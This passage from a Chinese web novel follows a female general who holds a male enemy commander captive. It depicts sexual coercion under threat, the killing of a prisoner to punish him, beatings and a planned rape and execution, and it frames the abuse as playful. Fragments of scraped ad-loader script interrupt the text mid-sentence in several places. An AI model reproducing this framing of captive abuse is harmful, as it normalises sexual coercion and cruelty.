姜守烛就当做没看见这点小细节,她拿出嬴芜荼的短刀,明知故问道:“认识这个人吗?” 嬴芜荼不敢正面回答,他移开视线不去看姚副将,只恶狠狠地盯着姜守烛,“你想做什么?” “我随便挑了一个你的副将,给你一点小小的惩罚。”姜守烛笑着说。 本来坐在地上的姚副将闻言突然抬起头,她知道自己今晚出逃被抓回来是必死的结局,但是敌人在说什么?她看到嬴主将没死,本来很高兴,但是……她又看向嬴主将,怎么感觉主将怪怪的?他为什么没有被关在战俘营的笼子里,而是被锁在……床|上? “你!你要做什么!”嬴芜荼装不了平静了,他挣扎着想要下床,但是他没法离开铁链的范围。 “当然是杀了你的副将喽,谁让你不听话,平白惹我生气。”说完,姜守烛拔刀出鞘。 正是嬴芜荼的那柄刀。 “不要!我求你别杀她!我听话!我全都听你的!你不是答应过我不杀俘虏吗!”嬴芜荼本来栽坐在床|上,此刻转为跪在床|上,但是因为铁链的限制,他跪得像是在趴着。 “不杀的前提是你乖乖听话,可是你听话了吗?自己说说,你都做了哪些不听话的事?”姜守烛就知道这招好使。 “我不该逃跑……求你别杀她,我再也不逃了。”嬴芜荼心中悲痛,姚副将曾为他以身挡箭,救下他一命。 要知道,当时姜守烛那箭是奔着他脖颈而去的,那箭速十分的快,他当时正在指挥,根本都没注意被放冷箭。 “不光这一件吧,还有呢?”姜守烛的一双杏眼笑得弯起来,她更想逗他玩了。 “我……我不该强忍着,我知道你想羞辱我!我愿意做那事给你看,求你别杀她!”嬴芜荼心一横,为了能保下姚副将,他愿意受此大辱,只求这坏女人能履行诺言,放了姚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 副将。 “你啊,还真是不见棺材不掉泪,早这么听话不就好了?那就开始吧。”姜守烛一副拭目以待的样子。 可是嬴芜荼迟迟不动。 因为坐在地上的姚副将也正在看着嬴芜荼,她怎么什么都听不懂? 嬴主将在和敌人讨价还价什么? 这敌人怎么可能放了她?姚副将自己都知道! 所以,这不是在耍嬴主将吗? “她……她不知道我的身份,能不能先放她出去,我不想被她看到那样,求你了……”嬴芜荼在军营里隐瞒身份,他不想让曾经的副将知道他是个男子。 姜守烛想了想,从桌上拿起一块餐布,盖在了姚副将的脑袋上,她倒不是听嬴芜荼的话,她只是觉得,嬴芜荼是她的战利品,只属于她一个人,让别的女人看到下一幕,她觉得不行。 而且,姚副将只是立场不同的敌人而已,这场面只是姜守烛想看,没必要平白让不相干的人被迫看那一幕,感觉怪怪的。 锁链哗哗作响,是嬴芜荼的手往下面摸去,他绝望地闭上眼……却迟迟没有动作。 “对了,提醒你一下,小心别发出声音哦,毕竟你的副将只是被蒙住了眼,可没堵住耳朵。”姜守烛觉得她的提醒很有必要,毕竟之前验身时,她都没做什么,他就喘得那么大声,看起来很是敏|感。 “你……你答应我,只要我听话,你就不杀她。”嬴芜荼下了决心,但是太难做到了。 姜守烛压低了几分声音,“好,只要你听话,我就不杀她。” 之所以压低声音,是为了不让她这句话传到外面去。 营帐外有巡逻的士兵,万一谁正好路过,听到她身为姜家军主将,在战俘的营帐里亲口说什么放了谁,这岂不是会引起误会? 军心是行兵的要事。 姜守烛身为顶天立地的大女人,当然是以家国为重,她现在逗人归逗人,但决不能耽误正事。 嬴芜荼得到了她的承诺,他紧紧地闭着眼,但是…… 他“不行”了。 他又气又急,怎么会做不到啊。 姜守烛看笑了,虽然刚才嬴芜荼吃梨时,人还在水里,但她看得清清楚楚,明明那时候还行的。 “我……我……”嬴芜荼紧张地望着她,他没想到自己会变成这样,他虽然从来都没有奖励过自己,但他作为一个身体正常的男子,有时候一觉睡醒会有自然反应,所以他也知道这回事,但现在该怎么办啊! “给你机会你也不中用啊。”姜守烛嘴上笑他,但她知道怎么回事了,是五皇子那药,嬴芜荼是咬牙撑过去的,所以现在一时半会儿,当然不行了。 看来嬴芜荼单纯得很,完全不懂呢。 “别别!”嬴芜荼看到她已经将刀举起来,他连忙喊着:“求你别,再给我一次机会,我可能……可能突然坏了,明天,后天,哪天都行,或者日后的每一天,求你别!她救过我的命,我不能这样白白害死她!我不听话,你可以惩罚我,你怎么对待我都行,你别杀她!” 四处点点水痕,全都是嬴芜荼落下的眼泪,他已经哭得浑身颤|抖,他怪自己平白连累无辜的姚副将,若非自己不听话又不争气,怎么会害得姚副将被带来这里。 果然,爹爹临死前,说自己克死娘,克死姐姐,又克死他,如今连无辜之人也要克死,自己果然是不详的人啊。 嬴芜荼又委屈又自责。 一双水汪汪的眼睛就这样盯着姜守烛,祈求她能开恩。 5. 张牙舞爪 “机会已经给了,但你没能把握住,要怪只能怪你自己不争气,连这点小事都做不好。” 姜守烛故意在“小事”两个字上咬重读音。 嬴芜荼急得都想扑腾下床,想要跪在她的面前恳求,但他被铁链限制着。 “求你……求你不要……我不听话,你应该惩罚我不是吗?求你不要伤害不相干的人……” 当嬴芜荼阵前自杀被她救回来后,他就知道她不会让自己痛快一死,当他身份败露被她验身,他就知道自己肯定会被她折辱,当他逃跑又被抓回来,他就知道这下肯定求生不得求死不能了。 但他从未想过,她的惩罚不是折磨自己,而是要杀不相干的人。 还挑了一个前不久才为他挡箭救他一命的人! 嬴芜荼自责无比。 但他现在来不及自责了,当务之急是如何才能恳求这个坏女人放过姚副将! “哭得这么惨啊?”姜守烛往后一仰,靠在椅背上,神态轻松,和眼前哭成泪人的嬴芜荼形成对比,“这样吧……我可以考虑再给你一次机会,首先,不许再哭了,你的眼睛很好看很勾人,若是哭肿了,我会生气哦。” “嗯嗯。”嬴芜荼点头如捣蒜,一瞬间就将眼泪全都憋回去了,只要能不连累无辜的姚副将,今晚就是被她强要,他也不会反抗的。 “还挺乖的。”姜守烛见他突然变得这么听话,她还是觉得,小兔子张牙舞爪的模样更可爱些,她起身去桌上拿起正在燃烧的烛台,朝着床前步步走去。 嬴芜荼的目光先是紧紧地盯着她,随着她走近,他的目光又转而盯着不断跃动的火苗。 “猜猜我打算做什么?”姜守烛挑了一块没湿的地方坐下了。 这小兔子也太能哭了,满床都是眼泪,简直就是个哭包,这床还能睡人吗? 嬴芜荼紧张地吞|咽了一下,他这四年混迹在军营,军营里全都是女人,混在女人堆里,偶尔不经意听女人们讲起家里的夫郎如何,花街的哪个小倌如何,所以他猜到这女人打算做什么了。 “我不会反抗的,只求你言而有信。”说完,嬴芜荼决绝地闭上眼,顺势躺好。 他觉得自己能扛住……吧? 他也没试过。 姜守烛手中的红烛还在灼灼燃烧,她轻笑一声,却什么都没做。 嬴芜荼紧张得心都要跳出来了,却没有任何感觉传来,他小心地睁开一只眼,看到……那女人正盯着他在笑。 笑得好瘆人啊! “你……你怎么……” “我怎么?”姜守烛打断他的话,笑着继续问:“我说让你猜猜,你猜成什么了?” “你不是要……”嬴芜荼的话说一半自己停了,难道是想错了? 可是她连梨子里都会下药,她又怎么可能是正经人? 若是没有那样的想法,一开始又为何会用那种调戏的方式验身? “是……是我龌龊了。”嬴芜荼明白了,她又是在耍自己,没关系,只要她能履行诺言放过姚副将,被她耍也行的,所以他顺势就自己认下,“是我想歪了,怪我愚钝,所以你想要我做什么?” 姜守烛见他反应过来,脸上羞涩的红晕渐渐消失,她可惜那一幕太短暂,她还没看够,但是没关系,来日方长嘛。 “呼”的一声,姜守烛吹灭了蜡烛,她将烛台底座放在……嬴芜荼的胸口,命令道:“我很好奇你是怎么撬开锁链的,所以给我表演一下,你是怎么啃碎蜡烛,取出烛芯的。” 铜制烛台立在他的胸口,因为烛台余热,烫得他“嘶”的一声。 “好!”嬴芜荼不知道她这是什么癖好,啃蜡烛就啃蜡烛,只要能救下姚副将,他什么都愿意做。 嬴芜荼一个骨碌从床|上爬起来,等他拿起烛台时,发现烛台圆形的底座将他的胸口印上一圈红|痕,他咬了咬牙,心里想着,她还真够坏的,这就是故意烫他的,但他不敢说出来,别说用烛台的余热了,就算再恶劣些,他也不敢反抗。 他当然也反抗不了。 “咔嚓”一声,这声音倒是清脆。 姜守烛饶有兴致地看着他。 见他双手捧着烛台,一口一口啃着蜡烛,真像一只小兔子在啃萝卜啊。 嬴芜荼一边啃蜡烛,一边小心地观察她的脸色,看起来她好像心情不错的样子。 这女人真是性格古怪,啃蜡烛有什么好看的? 他牙口好,很快就把一根蜡烛啃光了,露出烛台上尖锐的烛心。 被啃下来的蜡烛一块一块都被他拢成一小堆,但这一刻,嬴芜荼突然不动了。 他连眼睛都不眨了。 现在,他的手里拿着尖锐的烛台,这女人坐得离他咫尺之近,他现在恢复了一点力气,锁链的范围完全够伸臂到她的面前。 所以……如果现在出击,能不能用烛台刺穿她的脖颈? 可刚才那一拳偷袭她都失败了,她的力气那么大,反应那么快,真的能打过她吗? 她现在眼里全都是笑意,看起来很没有防备的样子…… 嬴芜荼的心里天人交战,他无时无刻不恨着她,如果能真的杀了她…… 可是她刚刚又给了一次机会,她也不是坏得很彻底。 而且这次用烛台偷袭,其实不是最好的时机,现在身上有伤,还很虚弱…… 正在嬴芜荼犹豫之际,姜守烛拍了拍掌,叹道:“果然是小兔子,这种办法都能让你想出来,给我吧。” 她伸出手,伸到他的面前,她是在要烛台。 嬴芜荼的目光盯着送到面前的手。 要不要把烛台给她? 这不光是烛台,这是武器,是他能反击的一次机会。 要不要交出这次主动权的机会? 嬴芜荼要自己的心里快下决定,不能像个小男人一样优柔寡断,这次也许不是最好的时机,但是他能活多久还是未知,还能有下次的机会吗? 他从来都不想死,他想活下去。 正在嬴芜荼犹豫之际,他的手里一空,心里也骤然一空。 是姜守烛劈手直接将烛台抢走了。 铜制烛台的分量不轻,同样尖锐的铜制烛心在空中划破这凝固的氛围。 嬴芜荼失去这次机会了。 事已至此,他将眼中的失落全都藏起来,以哀求的目光看着她,语气卑微道:“现在我啃完了,可以放过姚副将了吧?” 他的语气小心,神情也小心。 姜守烛站起身,掂量了一下烛台的分量,她没回答,反而问道:“刚才你在想什么?” “我……我想赶紧啃完蜡烛,好救下姚副将。”嬴芜荼只说了一半的实话,其实他啃下第一口时,就想着能不能趁机杀她。 “你没说实话,我再给你一次机会。”姜守烛坐回椅子上,她这回离地上的姚副将近在咫尺。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >近在咫尺的不仅是她,还有她手中举起的烛心。 烛心的尖头对准姚副将的头顶,只是尖头和脑袋之间,还隔着一寸空气,和一块餐布。 “别别!你答应过我的!我说的就是实话,没有在想别的了!”嬴芜荼心虚得很,他明明什么都没表露出来,为什么被她看穿了! “这柄烛台长七寸,尖头锋利无比,这一下,能刺穿人的胸膛,也能刺穿人的脖颈,更能刺穿人的头颅,所以你刚才,就不想杀了我吗?我明明离你那么近。”姜守烛的话带着一种蛊惑,她的语气更低了一分,她目光如炬盯着他:“你不是很恨我吗?” “没没……我不敢反抗你的,我再也不敢不听话了,你不能出尔反尔!你答应过我,我啃完蜡烛,你就放了她的!”嬴芜荼嘴上这么说着,但他刚才怎么不想杀了她呢? 他想杀她千千万万次! 他只是犹豫了一下,就失去了机会。 “哦……”姜守烛的语气拉长了声音,她笑道:“原来是我错怪你了,看来是我的错了?” “都是我的错!”嬴芜荼急得不行,要不是锁链限制着他,他非得上蹿下跳不可,“我逃跑是我的错,你可以拿烛台扎我,扎多少下都行,你答应过……啊!不要!” 尖锐的烛台芯刺入桌布之下,姚副将一瞬间就毙命了。 嬴芜荼发出声嘶力竭的一声惊叫。 他整个人都呆滞了,刚才恳求的话还没说完,她就直接动手了。 “来人。” 姜守烛见人进来,她一挥手,姚副将就被带下去安葬了。 营帐里寂静无声,嬴芜荼还保持着那个动作,他像是被抽干了全部的力气。 “吓到了?小男人果然胆小,可这明明连血都没有,我下手一向利落。”姜守烛将椅子拖到床前,不过这次距离远了一点。 嬴芜荼浑身突然打了一个哆嗦,他像是所有神识骤然回笼,他张牙舞爪地想要扑过来,口中声嘶力竭大喊着:“我要杀了你!我要杀了你!” 声音太尖锐了,比烛台上的尖头还要尖锐,更尖锐的是他的滔天恨意。 “这样才对,嬴芜荼,这才是你,装出刚才那副做小伏低的样子都不像你了,你知不知道,你眼睛里充满恨的时候,这副模样特别可爱,乖巧听话的小男子我见多了,还是你这样的更有趣些。” 姜守烛不会承认的是,其实当看着嬴芜荼那副乖巧模样任她摆布时,她确实动了一分的恻隐之心,当她看着嬴芜荼拿着灯台时分明动了杀心,但却在那犹豫时,她又觉得这果然是个小男人。 可惜,慈不掌兵义不掌财,姚副将是个出逃的俘虏,本就该杀的,只是杀之前,用来逗一下小兔子玩罢了。 果然,把小兔子逗得张牙舞爪。 “姜守烛!我一定要亲手杀了你!” 姜守烛看了一眼右手手背上还没淡去的那半圈牙印,再看向气得浑身通红的嬴芜荼,笑道:“好啊。” 锁链声哗哗作响,嬴芜荼拼命挣扎,他心里太恨了,甚至更恨自己,恨自己打不过她,恨自己没用!就这样白白害死了无辜的姚副将! 突然一声巨响,床竟然被直接晃散架了。 可见嬴芜荼挣扎的力气到底有多大。 嬴芜荼直接摔在地上,床栏杆落在地上,他突然意识到时机来了,他拖着锁链和散架的栏杆朝她扑来…… 他心里只有一个想法:杀了她! 6. 摇尾乞怜 姜守烛不想杀了他,所以这一脚,她是收着力的。 嬴芜荼被踹中左胸口,原本包扎好的伤口再次崩开,鲜血慢慢透过纱布,他疼得趴在地上,爬都爬不起来。 “自找苦吃。”姜守烛一挥手,门口的士兵进来,她吩咐道:“把他关进战俘营。” 嬴芜荼被士兵拉着手臂拖走时,他还不断咳血,血喷在单薄的里衣上,脏成一团。 他都这样狼狈了,眼神还恶狠狠地盯着姜守烛。 他心里充满了恨,他下定决心一定要杀了这个女人! 姜守烛并未打算给他优待,他本就是俘虏而已,本想把他关在这个小营帐里,趁着这两天清点物资,大军也不开拔,那就和他好好玩玩,但见他这么爱咬人,还是得磨磨性子。 闹了这么小半夜,嬴芜荼更加狼狈了,而姜守烛还是如入夜之前那般平静,她在不面对嬴芜荼时,还是那副永远让人看不出情绪的模样。 眼下刚过子时,雪早就停了,主营帐那边的庆功酒还没喝完。 众人打了半年的仗,都是劳苦功高,姜守烛下令今晚她们爱喝到什么时辰就喝到什么时辰。 而姜守烛是无心再去,她回了自己的营帐。 她的营帐里烧着炭盆,高床暖枕,连椅子上都铺着虎皮。 她并无睡意,那点酒意也早就没了。 仗打完了,六国统一了,等大师回京,陛下论功行赏,从此就天下太平了。 主营里还在喝酒的女人们互相攀着肩膀说想要什么什么赏赐,可姜守烛想不出她想要什么赏赐。 姜守烛坐在椅子上,对着烛光,又一次拔出那柄短剑。 这柄短剑是个珍品,之前属于嬴芜荼,现在是属于她的战利品 她擦了一会儿,又走出营帐,叫来正在站岗的妍副将,吩咐道:“你去盯着点战俘营那边,别发生不好的事就行了。” 妍副将没懂这个“不好的事”是什么意思,她挠了挠头,但还是出去了。 姜守烛又回营帐里,拿起她的重剑,用绢布擦来擦去。 她向来少眠,睡不着觉的夜晚不是彻夜挑灯擦剑,就是练剑到天亮。 至于小兔子,得让他明白,他现在的处境,该对谁摇尾巴才是上策。 动辄咬人,实在不乖。 —— 战俘营是用铁笼连起来的,一共十个大笼子,每个关了三百人,三面围了布用来挡风,毕竟眼下寒冬腊月,怕战俘们冻死了。 姜守烛是打算留她们活口的。 嬴芜荼被士兵拖着手臂一路拽到战俘营门口,他的身体在雪地上留下一道拖拽的痕迹。 这痕迹还是血痕,因为他胸口的伤还在流血。 “嬴主将!” 众战俘本以为嬴主将阵前自戕已经死了,没想到还活着,再次见到,皆是站过去看。 战俘营的铁笼子门打开,嬴芜荼被粗暴地丢进去,笼子门重新关上。 “主将你是不是被打了?” 众人围上来关心。 “咳咳……没事……”嬴芜荼见还有人想来帮他包扎伤口,他赶紧拒绝,自己咬牙撑着爬起来,背后靠在笼子边缘,自己又撕了一截袖子,将胸口的伤重新勒紧,血慢慢止住了。 战俘营四处漏风,比起刚才生着炭火还有被子的营帐简陋太多,嬴芜荼冻得浑身打了个哆嗦,因为这下他两边袖子都没有了,他慢慢深呼吸,让自己适应胸口的疼痛,他蜷缩起双腿,抱着膝盖,试图留下一点体温。 现在身上又冷又疼,最疼的还是心里。 他刚才害死了无辜的姚副将,如今又见到昔日战友姐妹,听到她们的关心,他更自责了。 “主将!” “主将你是不是被带去折磨了?” 在众人的一声声关心中,有人突然问道:“主将你脖颈也受伤了吗?” “没、没有……我没事,你们都坐下吧,不必围着我。”嬴芜荼觉得她们离得太近了,虽然她们是在关心他的伤势,可是往日里,他都穿着厚实的盔甲,领口都能遮住下巴,如今却穿着单薄破烂的衣服,还撕得快要衣不蔽体了,他不想被这些昔日战友发现他的身份。 可不等他让众人散开,他最担心的事还是发生了。 “主将,你的脖颈受了什么伤?为何凸起一块?” 有人还是看出来了。 尽管现在还是深夜,但姜家军的营地里,火炬常明。 “没有……你看错了,我是冷的,你们快散开吧。”嬴芜荼不敢想,如果在这种情况下,他的身份败露了,该如何收场。 怕是收不了场的。 “不对劲!”最先喊出的是妘副将,她向来在军中不服嬴主将,因为她觉得她身体健硕,比这个嬴主将更能打,凭什么让嬴主将带兵,虽然嬴主将有些头脑计谋,但她从心底里就是不服,当听到有人质疑时,她一个冲上来,一把扯开嬴主将脖颈上的那截布…… 就连寒风也凝固了。 嬴芜荼本就受了伤,今晚挨了不少打,刚才还被姜守烛在伤口上踹了一脚,这才止住血,但是连说话都没什么力气,在被扯开脖颈上的布时,他连阻止的力气都没有。 “嬴主将,你怎么……是个男子!” 战俘营里骚动起来,就连隔壁笼子里的战俘也撕开围帐的一角,挤着看过来。 “我……我不是……”嬴芜荼蜷缩在笼子角落,他低着头,双膝都抵在胸口,整个人都缩成一团,他不敢承认,但现在没法否认了。 毕竟众人皆看见了。 “姐妹们!我们被他骗了!他是个男子!” “怪不得从来不和我们一起洗澡,还以为是他清高不屑,原来是个骗子!” “怪不得我们打不赢姜家军,哪有男人能带兵打仗的!” “要不是他,我们用得着被关在战俘营里挨饿受冻吗!” “要不是他,现在喝庆功酒的就该是我们才对!” “是他骗了陛下!骗了我们!” 众人对着嬴芜荼拳打脚踢,纷纷在他的身上发泄战败的恨意,仿佛没有嬴芜荼,这场仗就不会败。 俘虏们的手腕上都戴着铁链,她们用铁链砸得嬴芜荼头破血流。 嬴芜荼连躲都不躲,他也没力气躲了,他任由那些拳脚落在头上身上,他连基本的挣扎瑟缩都没有了。 他放弃了。 既然被发现了,那就被她们打死吧。 死在自己人手里,也比死在那个坏女人手里强,也算是为这场战败赎罪了。 可他真的不甘心,他真的想杀了那个坏女人啊。 可惜没机会了,他刚刚勒住的伤口又被打裂了,估计很快就要死了。 今晚的天气真冷啊。 打人者众,妘副将首当其冲,她下手最狠,甚至还来撕扯嬴芜荼的衣服。 “别……”嬴芜荼本来一下都不抵抗来着,他感受到衣服被拽,他将闭上的眼睁开,用最后的气音哀求着。 他可以被自己人活活打死,但是不想被自己人侮辱。 尽管没人拿他当自己人。 此时,站在战俘营外的妍副将长长地“噢”了一声。 她终于悟了。 刚才姜将军交代别发生“不好的事”,她就一直琢磨这个事是指什么,于是就寸步不离地盯着战俘营。 直到发现惊天大秘密,这个敌军主将竟然是个男子,她正看热闹之际,却见她们打着打着要做别的了! 那可不行! 妍副将用军棍一敲铁笼子,大声呵斥着:“都住手!抱头蹲下!” 众俘虏欺软怕硬,皆是四下散开,各自蹲下,没人再敢靠近嬴芜荼。 此刻的嬴芜荼蜷缩着躺在铁笼的角落,他衣衫凌乱,头发也凌乱,脑袋被砸出好几个口子,血顺着脸颊往下流淌,裸露出的手臂上也是青一块紫一块,衣服遮盖之下,也尽是伤痕。 雪地上还有一片血迹,有伤口里流的,还有呕出来的。 眼看着人出的气多,进的气少,再不救人,怕是要咽气了。 妍副将叫人看着战俘们,她跑着去将军营帐。 “将军!那个敌军主将差点被打死,还差点……将军 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要不要去看看?” 姜守烛停下擦剑的动作,消息来得比她想象得还要快,她又继续擦剑,并没有去现场看看的意思,头也不抬地说:“叫上军医去救人吧。” 妍副将问:“那人安置在哪?” 敌人主将从战俘营抬出来总不能放在她们的营帐里吧?而且还是个男子,她一时拿不准主意,而且从将军的神色来看,将军早就知道敌军主将是男子了? “带我这儿来。” 战俘营里已经没有骚乱了,除了蹲着的战俘,就是瘫着快被打死的嬴芜荼。 嬴芜荼被军医从战俘营里拖出来,一摸鼻息,被打成这样还有气呢,于是简单包了一下还在流血的伤口,一路抬到了将军的营帐里去。 姜守烛这剑越擦越起劲,她的睡意彻底没了,就这样一边擦剑,一边等着嬴芜荼醒过来。 军医已经给嬴芜荼灌了三碗药,过了半个时辰,嬴芜荼醒了。 军医和妍副将都退下了。 营帐里只留下了两个人。 姜守烛还在擦剑,明亮的烛火打在她的脸上,她不用低头也知道躺在地上的人醒了。 “怎么回事?口口声声说是要杀了我,怎么转头就差点被打死了?是谁打的你?” 嬴芜荼躺在担架上,木板硌得背后生疼,其实不是硌的,是身上的伤疼的,他不肯回答她的话。 姜守烛继续自说自话:“刚才还要为你的士兵报仇,可她们知道你的身份,却只想杀了你,你不恨她们吗?” 嬴芜荼终于说话了,他的声音没有力气,每说一个字,胸口的伤都更疼一分,“是我骗了她们,你不该救我,就该让她们打死我。” “是吗?可是若不是我叫人拦着,她们可不光要打死你。”姜守烛不擦剑了,这剑擦得心不在焉,她更想去逗小兔子玩,于是她蹲在了小兔子的面前,看着那张被打成这样的脸。 她有些恼了,这都差点把人打破相了。 嬴芜荼不再说话了,他心里的情绪更复杂了,刚才是自责,现在却在自责上,又生起了些别的,但无论如何,他都不会向敌人摇尾乞怜。 敌人刚刚还杀了姚副将! “又不吭声。”姜守烛站起身,她不想那么近地观察这张伤痕累累的脸了,看着有点可惜,她居高临下地看着嬴芜荼,语气带着笑说:“实话跟你说了吧,留着她们,就是为了要挟你,你要是被她们打死了,那我就把她们都活埋了。三千里路回京城,知道这些人要耗费多少粮食吗?所以你现在是想被她们打死呢?还是想救她们呢?” 嬴芜荼又睁开眼,可惜连眼睛都被打肿了。 “别杀她们。” “可她们刚才都那样对你,你还要救她们吗?” “对。”嬴芜荼虽然说话都没力气,但这个字,倒是带了点力气。 “真是个心善的小圣父呢,可你是属于我的战利品,她们打伤了我的东西,还看到了你的喉结,所以我决定杀掉今晚所有动手的人。” “别……”嬴芜荼颤颤巍巍地伸出手,攥住了她的裤脚,他的手都在发抖,他哀求道:“别杀她们……我骗了她们,她们恨我是应该的……是我无能,才害得她们输了……” 姜守烛低头看着攥着自己裤脚的那只手,她发现那只手的小指都被打断了,她没再抬腿踹人,但也没立刻答应。 “凭什么白白答应你呢?可你现在都这样了,也不能叫你做什么,这样吧,你给我笑一个,我就考虑她们今晚打你的事,一笔勾销。” 嬴芜荼想起她的出尔反尔,想起此刻尸骨未寒的姚副将,但他别无选择,他从来都没有主动权。 于是,他忍着身上的疼,忍着心里的屈辱,睁开肿得厉害的眼睛,勾起被打破的嘴角,笑了一个。 “不够。”姜守烛摇头评价道。 嬴芜荼心里更痛了,他又重新笑了一个,幅度过大,以至于刚才被打破的嘴角都有血流下来。 这个笑,卑微又谄媚。 向来骄傲的他从来都没这样过,可终究还是向她摇尾乞怜了。 这回她满意了。 7. 呲牙咬人 姜守烛拿出刚才擦剑的绢布,丢到嬴芜荼的脸上。 “自己擦干净,你是我的战利品,怎么脏兮兮的。” 嬴芜荼的脸被盖住,他收回手,拿起绢布,小心翼翼地擦着嘴角。 他的嘴角有血,他自己知道。 他的动作缓慢,手也抖个不停,还不等擦完,他发现眼前的女人脸色变了。 他顺着姜守烛的眼神方向看过去,看到她的裤脚处有半个血手印。 她也是才发现的,是在他松手时才发现的。 刚才嬴芜荼哀求时,伸手攥住了她的裤脚,可他的手上还有血,情急之下,他给忘了。 “我……我给你擦干净……咳咳……” 本来嬴芜荼见她信守诺言,都不咳嗽了,一见又弄脏了她的裤脚,他吓得又咳嗽起来。 “真是不乖。”姜守烛叹气道,一脸惋惜的样子,“看来今晚得有人受惩罚了。” “罚我!都是我的错,是我弄脏的,求你别迁怒她们……” 嬴芜荼一边恳求,一边试图爬起来,但他被打得半死不活,好不容易才救回一条命,哪有力气爬起来,他一挣扎,整个人骨碌骨碌从担架上滚下来,摔在地上。 这下更糟了。 因为姜守烛的营帐不像别的营帐,她的营帐地面铺满了地毯,十分暖和。 而嬴芜荼身上还有血,他一摔下来,地毯也被弄脏了。 “罚你?可你这副模样,再罚就咽气了,你是我的战利品,我还不许你死,你说该怎么办好呢?”姜守烛故意冷着脸逗他。 “我能洗干净,等我能动了就去洗……咳咳……”嬴芜荼见她没提战俘的事,应该是有希望的吧。 “你本就该给我洗干净,但是我凭什么等你?” 嬴芜荼一时无言,他弄不清楚这女人的心思,但他还是绞尽脑汁想着办法,毕竟那三千人的性命,全都在她的一念之间,他已经带着那三千人打了败仗,他不想害死那三千人。 “这样吧,给我讲讲你这柄短剑的来历,如果还算有意思,我就给你一次机会。”姜守烛说完,伸手握住嬴芜荼的肩,将人翻回了担架上,她再站起,回到椅子上坐好,拿起茶壶给自己斟了一杯茶,轻轻吹了吹,呷了一口。 嬴芜荼还想讨价还价:“我讲完故事,你就能放过她们吗?” 姜守烛觉得这只狡诈的小兔子还真是得寸进尺,她没回答,只是冷冷地看了一眼他。 嬴芜荼打了一个哆嗦,不敢再说废话,他深吸一口气开始讲:“这柄短剑最开始是我母亲的,她是山里的猎户……” “停!”姜守烛打断道,“我要听有意思的,这个没意思。” 嬴芜荼被气得一哽,他又换了个话头,继续说:“这柄短剑是父亲留给我的遗物,那年父亲去世,家里只剩下我一个,半夜有盗贼上门偷钱,我反抗不过,还被发现了男子的身份,我先假意顺从,趁贼人不备,用藏在枕头下的这柄短刀刺死了她。” “哦?”姜守烛手中这盏茶喝完了,她将空茶杯放在桌上,追问道:“那你顺从了没?” “没有……我宁可死,也绝不会屈……”嬴芜荼还有一个字没说完,但他不敢继续说下去了。 今时今日的情景,和十四岁那年,又有什么区别? 区别是,当年那贼人轻敌,被他反抗成功了,可今日这贼人,他反抗不过。 “宁可死也不会什么?继续说。”姜守烛见他沉默,催促道。 “当年我宁可死,也不会屈服的。”嬴芜荼故意只敢提当年,他真的怕这女人突然又抓来一个人,当着他的面抬手杀了。 “有脾气,原来从小就这么烈啊,有没有人告诉过你,你张扬舞爪的样子特别可爱。”姜守烛拿起茶壶,却发现里面的茶水空了。 嬴芜荼:“……” 他不知道怎么接这话。 姜守烛的营帐里很是温暖,地下铺着厚实的羊毛地毯,四处点着上好的炭火,一点烟尘和声音都没有。 但这一刻,却宁静得出奇。 嬴芜荼的心七上八下,他不知道自己这个故事讲得她是否满意,也不知道自己刚才是不是又说了可能会惹怒她的话。 “来人!”姜守烛突然朝着门口唤道。 嬴芜荼几乎要跳起来,但他动弹不了,他的手里还攥着她刚才给的那块绢布,他急急忙忙地说:“我还有很多故事要讲,别……求你……” 门口的妍副将进来了。 姜守烛只是眼神看了一眼桌上空的茶壶,妍副将就心领神会,出去了。 嬴芜荼更紧张了,他不知道这女人跟她的手下使了什么眼色。 姜守烛见小兔子误会了,她故意不说,就脸色冷漠地盯着门口,好似是在期待着什么。 嬴芜荼急得从担架上爬下来,他爬了两步就爬不动了,哀求着:“不要……不要杀她们……你想怎么对我都行……” 此时,妍副将回来了,她的手里还拿着满满一壶的茶水,她目不转睛地往前走,也不看向地上的人,将茶壶放在桌上,立刻就出去了。 嬴芜荼不喊了,也不爬了。 姜守烛这回憋不住笑了,她拿起茶壶又给自己倒了一杯茶,以一副真诚发问的模样问:“你以为我打算做什么?” 嬴芜荼意识到自己又被耍了,他气得一咬牙,但也不敢吭声,他像是被抽干了力气,整个人如死狗一般趴在地上。 好在他身上已经不流血了,要不然这下又要多弄脏一块地毯。 “自己爬回去,我还没听完故事,继续讲,你杀完人是如何脱身的?”姜守烛催促道。 嬴芜荼被气得不轻,但只要这女人没再杀人就好,他又咬着牙费力爬回去,继续讲:“我逃到了外乡,碰上招兵,就投身军营了。” “原来是这样,还以为你是有一腔抱负,才投身军营的。” 姜守烛有点失望了,她以为这只狡诈的小兔子是不甘命运,才男扮女装,想要建功立业的,这半年来,她多次和小兔子交手,有赢有输,她是个英雌惜英雌的人,见小兔子阵前自杀,她吩咐军医不惜一切代价也要救活嬴芜荼,当得知嬴芜荼是个男子时,她更感兴趣了,可现在知道,嬴芜荼投身军营只是为了躲命案官司。 就这样啊?真没意思。 嬴芜荼的喉咙里一紧,他差点哭了,但他忍住了,绝对不要再哭了,他早就把小男人那套戒了不是吗。 可这女人说他一腔抱负,他又何尝不是呢? 当姐姐意外去世,他男扮女装上学堂,跟着那些同窗一起读书识字,他发现广阔天地,可以大有作为,他不想嫁妻生女,余生被困于方寸之间,十四岁那夜被贼人盯上,是因为他白天将家里的东西悉数变卖,准备拿上所有的盘缠去往京城投军,也正是因为他变卖东西,从典当行里拿着银票出来,才被街上的混混盯上,尾随跟他回家,等入夜下手。 就算那夜没有惹上命案,他也是一样要投军的。 而这女人竟然如此高看他吗? 他从来都没有被夸奖过,反而是这女人,夸了他不止一次。 但他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也没必要解释。 和敌人说他的一腔抱负,这简直是天方夜谭。 估计她也就是随口一说吧,毕竟她一心只想侮辱自己,桩桩件件,不都是如此。 姜守烛喝完了第二杯茶,她的兴致也玩尽了,打算着等嬴芜荼的身子恢复一点,脸上的伤也痊愈了,享用一番,然后就地处死吧。 之所以现在不享用,是因为他伤得太重了,她虽然这方面行事粗手粗脚,但她也不是变态,并不想玩半死不活的,那多没意思啊。 